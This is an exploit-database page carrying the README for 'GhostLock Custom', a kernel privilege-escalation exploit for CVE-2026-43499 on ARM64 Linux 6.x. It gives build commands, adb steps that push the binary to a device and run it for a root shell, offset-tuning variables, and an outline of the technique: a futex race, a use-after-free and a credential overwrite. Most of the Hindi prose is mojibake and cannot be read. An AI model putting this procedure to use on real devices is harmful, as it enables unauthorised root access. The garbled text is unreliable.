Sploitus

Exploit for ghostlock-custom

kitploit ┬╖ 2026-08-19

Exploit Code

MARKDOWN90 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XIAOBAILOVESSTIRRING-GHOSTLOCK-CUSTOM
# GhostLock Custom тАФ CVE-2026-43499 рдЕрдиреБрдХреВрд▓рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

рдЧреИрд░-Android Linux 6.x ARM64 рдХрд░реНрдиреЗрд▓ рдХреЗ рд▓рд┐рдП GhostLock (CVE-2026-43499) рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╢реЛрд╖рдгред

## рдХрд░реНрдиреЗрд▓ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ

рдЖрдЗрдЯрдо| рдорд╛рди  
---|---  
рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░| ARM64 (AArch64)  
VA_BITS| 39  
KIMAGE_TEXT_BASE| `0xffffffc008000000`  
рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг| 6.x  
SELinux| рдирд╣реАрдВ  
ashmem| рдирд╣реАрдВ  
configfs| рдирд╣реАрдВ  
  
## рд╕рдВрдХрд▓рди

### рд╕реНрдерд╛рдиреАрдп рд╕рдВрдХрд▓рди (рдХреНрд░реЙрд╕-рдХрдВрдкрд╛рдЗрд▓рд░ рдЖрд╡рд╢реНрдпрдХ)

root@kitploit:~
    
    
    make
    

### Android NDK рд╕рдВрдХрд▓рди

root@kitploit:~
    
    
    make android-arm64 NDK=/path/to/android-ndk
    

### GitHub Actions (рдХреНрд▓рд╛рдЙрдб рд╕рдВрдХрд▓рди)

рдкреБрд╢ рдХрд░рдиреЗ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рди рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ, рдмрд╕ рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред

## рдЙрдкрдпреЛрдЧ

root@kitploit:~
    
    
    # рд▓рдХреНрд╖реНрдп рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдкреБрд╢ рдХрд░реЗрдВ
    adb push ghostlock-arm64 /data/local/tmp/e
    adb shell chmod 755 /data/local/tmp/e
    
    # рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
    adb shell /data/local/tmp/e --shell
    
    # pselect рдСрдлрд╕реЗрдЯ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдВ (рдпрджрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ)
    adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
    adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
    adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
    adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
    adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
    
    # рднреМрддрд┐рдХ рд▓реЛрдб рдкрддрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ
    adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
    

## рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░

## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╕рд┐рджреНрдзрд╛рдВрдд

  1. **futex PI рд░реЗрд╕** : `FUTEX_CMP_REQUEUE_PI` `remove_waiter()` рдХрд╛ UAF рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ
  2. **pselect рд╕реНрдЯреИрдХ рдУрд╡рд░рд░рд╛рдЗрдЯ** : рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ `rt_mutex_waiter` `stack_fds` рдмрдлрд░ рдореЗрдВ рдЖрддрд╛ рд╣реИ
  3. **PI рдЯреНрд░реА рд▓реЗрдЦрди** : рдирд┐рд░реНрдорд┐рдд рдлреЗрдХ waiter рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░реНрдиреЗрд▓ рдПрдбреНрд░реЗрд╕ рдкрд░ рдордирдорд╛рдирд╛ рд▓реЗрдЦрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
  4. **cred рдУрд╡рд░рд░рд╛рдЗрдЯ** : `task_struct->cred` рдХреЛ `init_cred` рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ



## рдЕрдиреБрдХреВрд▓рди рд╡рд┐рд╡рд░рдг

рдпрд╣ рд╕рдВрд╕реНрдХрд░рдг ghostlock-oneplus рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╕рд░рд▓реАрдХреГрдд рд╣реИ:

  * SELinux рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (рдЗрд╕ рдХрд░реНрдиреЗрд▓ рдореЗрдВ SELinux рдирд╣реАрдВ рд╣реИ)
  * ashmem/configfs рд╕рдВрдмрдВрдзрд┐рдд рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (рдЗрд╕ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдпреЗ рдШрдЯрдХ рдирд╣реАрдВ рд╣реИрдВ)
  * KernelSU рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛
  * SLIDE KASLR рд▓реАрдХ рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (рдХреЛрдИ loggers/nfulnl_logger рдирд╣реАрдВ)
  * Android-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (miniADB рдЖрджрд┐)



## рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг

## рдЕрд╕реНрд╡реАрдХрд░рдг

рдпрд╣ рдЙрдкрдХрд░рдг рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдХреЗ рд▓рд┐рдП рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реНрд╡рдпрдВ рд╡рд╣рди рдХрд░рдиреА рд╣реЛрдЧреАред